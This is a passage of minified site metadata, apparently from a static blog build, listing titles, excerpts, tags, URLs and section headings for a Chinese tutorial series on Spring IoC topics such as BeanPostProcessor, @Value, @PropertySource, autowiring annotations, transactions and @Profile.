11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们讲述了BeanPostProcessor的postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法在bean初始化的前后调用,我们可以自定义类来实现BeanPostProcessor接口,并在postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法中指定我们自定义的逻辑。今天,我们来一起探讨下eanPostProcessor底层原理。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.md",key:"v-6bca2382",path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"bean的初始化和销毁",slug:"bean的初始化和销毁"},{level:3,title:"1.通过@Bean指定init-method和destroy-method",slug:"_1-通过-bean指定init-method和destroy-method"},{level:3,title:"2.通过让Bean实现InitializingBean(定义初始化逻辑)",slug:"_2-通过让bean实现initializingbean-定义初始化逻辑"},{level:3,title:"3.可以使用JSR250",slug:"_3-可以使用jsr250"},{level:3,title:"4.可以使用BeanPostProcessor",slug:"_4-可以使用beanpostprocessor"},{level:2,title:"BeanPostProcessor源码解析",slug:"beanpostprocessor源码解析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近在分析Spring源码时,在同一个类中写了嵌套的AOP方法,测试时出现:Spring AOP在同一个类里自身方法相互调用时无法拦截。哎,怎么办?还能怎么办呢?继续分析Spring源码,解决问题呗。于是乎,有了本文。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"twitter:title",content:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",relativePath:"md/core/spring/ioc/2022-04-04-020-困扰了我很久的AOP嵌套调用终于解决了.md",key:"v-712bc0ae",path:"/md/core/spring/ioc/2022-04-04-020-%E5%9B%B0%E6%89%B0%E4%BA%86%E6%88%91%E5%BE%88%E4%B9%85%E7%9A%84AOP%E5%B5%8C%E5%A5%97%E8%B0%83%E7%94%A8%E7%BB%88%E4%BA%8E%E8%A7%A3%E5%86%B3%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"问题阐述",slug:"问题阐述"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"注意事项",slug:"注意事项"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在《[【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485089&idx=1&sn=466c246a28440329d4bf3d82a2214229&chksm=cee5196cf992907a3aaa9e7bfef971328a16ceb525c8c80a34822e04955de3f423e1b8f90540&token=2101168258&lang=zh_CN#rd)》一文中,我们详细的介绍了BeanPostProcessor的执行流程。那么,BeanPostProcessor在Spring底层是如何使用的?今天,我们就一起来探讨下Spring的源码,一探BeanPostProcessor在Spring底层的使用情况。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"twitter:title",content:"【Spring注解驱动开发】BeanPostProcessor在Spring底层是如何使用的?看完这篇我懂了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",relativePath:"md/core/spring/ioc/2022-04-04-021-BeanPostProcessor在Spring底层是如何使用的.md",key:"v-d7fbb106",path:"/md/core/spring/ioc/2022-04-04-021-BeanPostProcessor%E5%9C%A8Spring%E5%BA%95%E5%B1%82%E6%98%AF%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E7%9A%84.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"BeanPostProcessor接口",slug:"beanpostprocessor接口"},{level:2,title:"ApplicationContextAwareProcessor类",slug:"applicationcontextawareprocessor类"},{level:2,title:"BeanValidationPostProcessor类",slug:"beanvalidationpostprocessor类"},{level:2,title:"InitDestroyAnnotationBeanPostProcessor类",slug:"initdestroyannotationbeanpostprocessor类"},{level:2,title:"AutowiredAnnotationBeanPostProcessor类",slug:"autowiredannotationbeanpostprocessor类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"有些小伙伴问我,学习Spring是不是不用学习到这么细节的程度啊?感觉这些细节的部分在实际工作中使用不到啊,我到底需不需要学习到这么细节的程度呢?我的答案是:有必要学习到这么细节的程度,而且是有机会、有条件一定要学!吃透Spring的原理和源码!往往拉开人与人之间差距的就是这些细节的部分,当前只要是使用Java技术栈开发的Web项目,几乎都会使用Spring框架。而且目前各招聘网站上对于Java开发的要求几乎清一色的都是熟悉或者精通Spring。所以,你,很有必要学习Spring的细节知识点。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"twitter:title",content:"【Spring注解驱动开发】BeanPostProcessor后置处理器浅析"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-022-BeanPostProcessor后置处理器浅析.md",key:"v-77221ea5",path:"/md/core/spring/ioc/2022-04-04-022-BeanPostProcessor%E5%90%8E%E7%BD%AE%E5%A4%84%E7%90%86%E5%99%A8%E6%B5%85%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"BeanPostProcessor后置处理器概述",slug:"beanpostprocessor后置处理器概述"},{level:2,title:"BeanPostProcessor后置处理器实例",slug:"beanpostprocessor后置处理器实例"},{level:2,title:"BeanPostProcessor后置处理器作用",slug:"beanpostprocessor后置处理器作用"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的文章中,我们探讨了如何向Spring的IOC容器中注册bean组件,讲解了有关bean组件的生命周期的知识。今天,我们就来一起聊聊@Value注解的用法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何使用@Value注解为bean的属性赋值,我们一起吊打面试官!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",relativePath:"md/core/spring/ioc/2022-04-04-023-使用@Value注解为bean的属性赋值,原来这么简单.md",key:"v-71e386ca",path:"/md/core/spring/ioc/2022-04-04-023-%E4%BD%BF%E7%94%A8@Value%E6%B3%A8%E8%A7%A3%E4%B8%BAbean%E7%9A%84%E5%B1%9E%E6%80%A7%E8%B5%8B%E5%80%BC%EF%BC%8C%E5%8E%9F%E6%9D%A5%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Value注解",slug:"value注解"},{level:2,title:"@Value注解用法",slug:"value注解用法"},{level:3,title:"1.不通过配置文件注入属性的情况",slug:"_1-不通过配置文件注入属性的情况"},{level:3,title:"2.通过配置文件注入属性的情况",slug:"_2-通过配置文件注入属性的情况"},{level:3,title:"3.@Value中\\#{..}和${...}的区别",slug:"_3-value中-和-的区别"},{level:2,title:"@Value注解案例",slug:"value注解案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"很多小伙伴都在问:冰河,你的Spring专题更新完了吗?怎么感觉像是写了一半啊?我:没有更新完呀,整个专题预计会有70多篇。那怎么更新了一半就去写别的了呢?那是因为有很多其他的小伙伴在后台留言说:急需学习一些其他的技术,所以,临时调整的。放心,Spring专题会持续更新的!这不,今天,我们就继续更新Spring专题。不出意外的话,会一直持续更新完!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@PropertySource加载配置文件,我只看这一篇!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html",relativePath:"md/core/spring/ioc/2022-04-04-024-使用@PropertySource加载配置文件,我只看这一篇.md",key:"v-64fa5c7f",path:"/md/core/spring/ioc/2022-04-04-024-%E4%BD%BF%E7%94%A8@PropertySource%E5%8A%A0%E8%BD%BD%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E5%8F%AA%E7%9C%8B%E8%BF%99%E4%B8%80%E7%AF%87.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@PropertySource注解概述",slug:"propertysource注解概述"},{level:2,title:"@PropertySources注解",slug:"propertysources注解"},{level:2,title:"案例准备",slug:"案例准备"},{level:2,title:"使用xml文件方式获取值",slug:"使用xml文件方式获取值"},{level:2,title:"使用注解方式获取值",slug:"使用注解方式获取值"},{level:2,title:"使用Environment获取值",slug:"使用environment获取值"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用三大注解自动装配组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用三大注解自动装配组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"【Spring专题】停更一个多月,期间在更新其他专题的内容,不少小伙伴纷纷留言说:冰河,你【Spring专题】是不是停更了啊!其实并没有停更,只是中途有很多小伙伴留言说急需学习一些知识技能,以便于跳槽,哈哈,大家都懂得!所以,中途停更了一段时间,写了一些其他专题的文章。现在,继续更新【String专题】。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用三大注解自动装配组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用三大注解自动装配组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-025-使用@Autowired@Qualifier@Primary三大注解自动装配组件.md",key:"v-36389193",path:"/md/core/spring/ioc/2022-04-04-025-%E4%BD%BF%E7%94%A8@Autowired@Qualifier@Primary%E4%B8%89%E5%A4%A7%E6%B3%A8%E8%A7%A3%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注解说明",slug:"注解说明"},{level:3,title:"@Autowired注解",slug:"autowired注解"},{level:3,title:"@Qualifier注解",slug:"qualifier注解"},{level:3,title:"@Primary注解",slug:"primary注解"},{level:2,title:"自动装配",slug:"自动装配"},{level:2,title:"项目实战",slug:"项目实战"},{level:3,title:"测试@Autowired注解",slug:"测试-autowired注解"},{level:3,title:"测试@Qualifier注解",slug:"测试-qualifier注解"},{level:3,title:"测试容器中无组件的情况",slug:"测试容器中无组件的情况"},{level:3,title:"测试@Primary注解",slug:"测试-primary注解"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"有很多小伙伴们留言说,冰河,你能不能写一篇关于Spring事务的文章呢?我:可以啊,安排上了!那还等什么呢?走起啊!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{name:"twitter:title",content:"【Spring】看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html",relativePath:"md/core/spring/ioc/2022-04-04-029-看了这篇Spring事务原理,我才知道我对Spring事务的误解有多深.md",key:"v-6a85b00e",path:"/md/core/spring/ioc/2022-04-04-029-%E7%9C%8B%E4%BA%86%E8%BF%99%E7%AF%87Spring%E4%BA%8B%E5%8A%A1%E5%8E%9F%E7%90%86%EF%BC%8C%E6%88%91%E6%89%8D%E7%9F%A5%E9%81%93%E6%88%91%E5%AF%B9Spring%E4%BA%8B%E5%8A%A1%E7%9A%84%E8%AF%AF%E8%A7%A3%E6%9C%89%E5%A4%9A%E6%B7%B1.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"事务的基本原理",slug:"事务的基本原理"},{level:2,title:"二、Spring 事务的传播属性",slug:"二、spring-事务的传播属性"},{level:2,title:"三、数据库隔离级别",slug:"三、数据库隔离级别"},{level:2,title:"四、Spring中的隔离级别",slug:"四、spring中的隔离级别"},{level:2,title:"五、事务的嵌套",slug:"五、事务的嵌套"},{level:2,title:"六、总结",slug:"六、总结"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,很多小伙伴出去面试都被问到了Spring问题,关于Spring,细节点很多,面试官也非常喜欢问一些很细节的技术点。所以,在 Spring 专题中,我们尽量把Spring的每个技术细节说清楚,将透彻。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】自定义组件如何注入Spring底层的组件?看了这篇我才真正理解了原理!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-030-自定义组件如何注入Spring底层的组件.md",key:"v-07375fc8",path:"/md/core/spring/ioc/2022-04-04-030-%E8%87%AA%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6%E5%A6%82%E4%BD%95%E6%B3%A8%E5%85%A5Spring%E5%BA%95%E5%B1%82%E7%9A%84%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"概述",slug:"概述"},{level:2,title:"XxxAware接口概览",slug:"xxxaware接口概览"},{level:2,title:"XxxAware接口案例",slug:"xxxaware接口案例"},{level:2,title:"XxxAware原理",slug:"xxxaware原理"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在实际的企业开发环境中,往往都会将环境分为:开发环境、测试环境和生产环境,而每个环境基本上都是互相隔离的,也就是说,开发环境、测试环境和生产环境是互不相通的。在以前的开发过程中,如果开发人员完成相应的功能模块并通过单元测试后,会通过手动修改配置文件的形式,将项目的配置修改成测试环境,发布到测试环境进行测试。测试通过后,再将配置修改为生产环境,发布到生产环境。这样手动修改配置的方式,一方面增加了开发和运维的工作量,而且总是手工修改各项配置文件很容易出问题。那么,有没有什么方式可以解决这些问题呢?答案是:有!通过@Profile注解就可以完全做到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html"},{name:"twitter:title",content:"【Spring】使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html",relativePath:"md/core/spring/ioc/2022-04-04-031-使用@Profile注解实现开发、测试和生产环境的配置和切换,看完这篇我彻底会了.md",key:"v-4e3b04ee",path:"/md/core/spring/ioc/2022-04-04-031-%E4%BD%BF%E7%94%A8@Profile%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E3%80%81%E6%B5%8B%E8%AF%95%E5%92%8C%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E5%88%87%E6%8D%A2%EF%BC%8C%E7%9C%8B%E5%AE%8C%E8%BF%99%E7%AF%87%E6%88%91%E5%BD%BB%E5%BA%95%E4%BC%9A%E4%BA%86.html",headers:[{level:2,title:"写